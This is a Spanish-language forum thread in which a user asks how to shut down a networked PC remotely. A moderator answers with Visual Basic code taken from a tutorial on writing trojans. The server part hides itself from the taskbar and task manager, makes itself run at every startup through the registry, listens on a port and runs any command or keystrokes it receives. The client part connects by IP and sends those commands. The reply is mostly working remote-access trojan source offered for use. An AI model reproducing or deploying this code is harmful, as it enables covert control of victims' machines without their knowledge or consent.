• Lunes 23 de Diciembre de 2024, 00:39

Autor Tema:  Como Apagar Una Pc En Red  (Leído 1350 veces)

mArTiNpErU

  • Nuevo Miembro
  • *
  • Mensajes: 2
    • Ver Perfil
Como Apagar Una Pc En Red
« en: Viernes 4 de Febrero de 2005, 18:01 »
0
Hola a todos, mi inquietud es saber como apagar una pc remotamente, utilizando winsock, la idea es que codigo va al cliente y cual al servidor, en si es apagar una pc por su IP (seleccionar la ip y hacer clic en el boton de apagar de la aplicacion que voy hacer), espero me logren enviar el codigo bien explicado.

Gracias a todos en el foro.

RadicalEd

  • Moderador
  • ******
  • Mensajes: 2430
  • Nacionalidad: co
    • Ver Perfil
Re: Como Apagar Una Pc En Red
« Respuesta #1 en: Viernes 4 de Febrero de 2005, 20:11 »
0
Código: Text
  1. 'Declaraciones API
  2. Private Declare Function mciSendString Lib "winmm.dll" Alias _
  3. "mciSendStringA" (ByVal lpstrCommand As String, ByVal _
  4. lpstrReturnString As String, ByVal uReturnLength As Long, _
  5. ByVal hwndCallback As Long) As Long
  6. Private Declare Function GetCurrentProcessId Lib "Kernel32" () As Long
  7. Private Declare Function RegisterServiceProcess Lib "Kernel32" (ByVal _
  8. dwProcessID As Long, ByVal dwType As Long) As Long
  9. Const RSP_SIMPLE_SERVICE = 1
  10.  
  11. 'Por si no lo sabes, este evento se produce cuando se carga el formulario
  12. Private Sub Form_Load()
  13.     On Error Resume Next
  14.     App.TaskVisible = False   'Ocultar en la barra de tareas.
  15.     Me.Visible = False        'Hace invisible el Formulario
  16.     Dim H As Long, Ruta As String
  17.     Dim Reg As Object     'Declaramos la variable Reg como un objeto
  18.     'registramos nuestro servicio y nos escondemos de ctrl+alt+supr:
  19.     H = RegisterServiceProcess(GetCurrentProcessId(), RSP_SIMPLE_SERVICE)
  20.    
  21.     Set Reg = CreateObject("wscript.shell") 'Creamos un objeto, para modi-
  22.               'ficar el registro
  23.  
  24.     Ruta = "HKLM\software\microsoft\windows\currentversion\runservices\"
  25.  
  26.     'Nos ingresamos en el registro para ejecutarnos cada vez que reinicien:
  27.     Reg.RegWrite Ruta & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
  28.  
  29.     Winsock1.localport = "636"   'establecemos el puerto del troyano
  30.     Winsock1.Listen    'Nos ponemos a escuchar, a la espera de una conexión
  31. End Sub
  32. Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
  33.     'Si el winsock está abierto lo cerramos.
  34.     If Winsock1.State <> sckClosed Then Winsock1.Close
  35.     Winsock1.Accept requestID 'Aceptamos la conexión
  36. End Sub
  37. Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, _
  38. ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, _
  39. ByVal HelpContext As Long, CancelDisplay As Boolean)
  40.     'Si ocurre un error, cerramos y volvemos a escuchar.
  41.     Winsock1.Close
  42.     Winsock1.Listen
  43. End Sub
  44. Private Sub Winsock1_Close()
  45.     'Si se cierra la conexión, volvemos a escuchar.
  46.     Winsock1.Close
  47.     Winsock1.Listen
  48. End Sub
  49. Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
  50.     On Error Resume Next 'Si ocurre un error que lea la siguiente línea
  51.     Dim data1 As String 'Declaramos la variable que recibirá los datos
  52.     Winsock1.GetData data1 'Tomamos los datos que nos envían
  53.     DoEvents 'Le devolvemos el "control" a Windows
  54.  
  55.     Select Case Mid(data1, 1, 10)'Nos fijámos que acción nos están mandando
  56.         Case "#EJECUTAR#"
  57.       'Ejecuta el comando que se envíe
  58.             Shell Mid(data1, 10, Len(data1) - 1), Right(data1, 1)
  59.         Case "#SENDKEYS#"
  60.             SendKeys Mid(data1, 10, Len(data1)) 'Envía las teclas al teclado
  61.         Case "##OPENCD##"
  62.             'Habre la lectora de CDs
  63.             mciSendString "set Cdaudio door open", returnstring, 127, 0
  64.         Case "#CLOSECD##"
  65.             'Cierra la lectora de CDs
  66.             mciSendString "set Cdaudio door closed", returnstring, 127, 0
  67.     End Select
  68. End Sub
  69.  

Cliente:
¯¯¯¯¯¯¯¯
Necesitarás varios controles, entre ellos el winsock, obvio. Nótese que los
comandos que enviaremos (#EJECUTAR#, #SENDKEYS#,##OPENCD##,#CLOSECD##, etc)
tienen 10 letras. Esto hace mucho más fácil la escritura del código.
En  este ejemplo necesitarás: 5 botones, tres cajas de texto, un  timer con
un intervalo de 1000, y  el control winsock. Arréglalo para  que  te  quede
como en la FIG1, y luego  cambia los nombres de los botones  y  demás cosas
como en la FIG2. (No soy dibujante de Ascii Art, ni mucho menos, asi que no
se quejen)


FIG1:
.-----------------------------------------------------------------.
|  Form1                                                   _  X |
|-----------------------------------------------------------------|
|           ___________________    .---------------.  <Timer1>    |
|  Label1  |Text1              |   | Command1      |  <Winsock1>  |
|          |___________________|   '---------------'              |
|                                                                 |
|  __Frame1_____________________________________________________  |
| |.----------------.  .----------------.   ___________________ | |
| || Command2       |  | Command4       |  |Text2              || |
| |'----------------'  '----------------'  |___________________|| |
| |.----------------.  .----------------.   ___________________ | |
| || Command3       |  | Command4       |  |Text3              || |
| |'----------------'  '----------------'  |___________________|| |
| |_____________________________________________________________| |
'-----------------------------------------------------------------'

FIG2:
.-----------------------------------------------------------------.
|  Troyanos en Visual Basic, By Nemlim                     _  X |
|-----------------------------------------------------------------|
|           ___________________    +---------------+  <Timer1>    |
| IP Number|255.255.255.255    |   | Conectar      |  <Winsock1>  |
|          |___________________|   +---------------+              |
|                                                                 |
|  __Acciones___________________________________________________  |
| |.----------------.  .----------------.   ___________________ | |
| || Abrir CD       |  | Send Keys      |  |GeDzAc HaS YoU     || |
| |'----------------'  '----------------'  |___________________|| |
| |.----------------.  .----------------.   ___________________ | |
| || Cerrar CD      |  | Ejecutar       |  |C:\autoexec.bat    || |
| |'----------------'  '----------------'  |___________________|| |
| |_____________________________________________________________| |
'-----------------------------------------------------------------'

Código: Text
  1. '&#60;!--Inicio del codigo del Fomulario1--!&#62;
  2. '------------------------------------Fom1----------------------------------
  3. Dim Conectado As Boolean
  4.  
  5. Private Sub Form_Load()
  6. Timer1.Interval = 1000
  7. End Sub
  8.  
  9. Private Sub Command1_Click()
  10. If Text1.Text &#60;&#62; &#34;&#34; Then 'Nos fijamos que el campo text1 no este vacío
  11.     Winsock1.Connect Text1.Text, 636 'Conectamos el winsock según el IP
  12. End If
  13. End Sub
  14.  
  15. Private Sub Command2_Click()
  16. If Conectado = True Then Winsock1.SendData &#34;##OPENCD##&#34;
  17. End Sub
  18.  
  19. Private Sub Command3_Click()
  20. If Conectado = True Then Winsock1.SendData &#34;#CLOSECD##&#34;
  21. End Sub
  22.  
  23. Private Sub Command4_Click()
  24. If Conectado = True Then Winsock1.SendData &#34;#SENDKEYS#&#34; & Text2.Text
  25. End Sub
  26.  
  27. Private Sub Command5_Click()
  28. Dim a As Variant
  29. If Conectado = True Then
  30.     a = InputBox(&#34;Ingrese número de parámetro:&#34; & vbCrLf & &#34;vbHide=0&#34; + _
  31.     vbCrLf & &#34;vbNormalFocus=1&#34; & vbCrLf & &#34;vbMinimizedFocus=2&#34; & vbCrLf + _
  32.     &#34;vbMaximizedFocus=3&#34; & vbCrLf & &#34;vbNormalNoFocus=4&#34; & vbCrLf + _
  33.     &#34;vbMinimizedNoFocus=6&#34;) 'Pedimos ingresar el parámetro de ejecución
  34.     'Comprobamos que lo que ingresamos sean números
  35.     If InStr(1, a, &#34;1234567890&#34;) &#60;&#62; 0 And Len(a) = 1 Then
  36.         'Si es así se envían los datos
  37.         Winsock1.SendData &#34;#EJECUTAR#&#34; & Text3.Text & a
  38.     End If
  39. End If
  40. End Sub
  41.  
  42. Private Sub Form_Unload(Cancel As Integer)
  43. Winsock1.Close 'Cerramos el winsock
  44. End Sub
  45.  
  46. Private Sub Timer1_Timer()
  47. 'Si el winsock está conectado, cambiamos la variable a true
  48. If Winsock1.State &#60;&#62; sckConnected Then
  49.     Conectado = False
  50. Else
  51.     Conectado = True
  52. End If
  53. End Sub
  54.  
  55. Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
  56.     Conectado = True
  57. End Sub
  58.  
  59. Private Sub Winsock1_Error(ByVal Number As Integer, Description As _
  60. String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As _
  61. String, ByVal HelpContext As Long, CancelDisplay As Boolean)
  62. 'En caso de error cerramos la conexión
  63. Winsock1.Close
  64. End Sub
  65. '&#60;!--Fin del codigo del Fomulario1--!&#62;
  66.  
  67.  
Extraido de un tuto basico de programación para controlar remotamente un pc.
PD. coloca tus mensajes dentro del primer post que pones, no crees otro nuevo.
Ojala te sirva.
Chao
El pasado son solo recuerdos, el futuro son solo sueños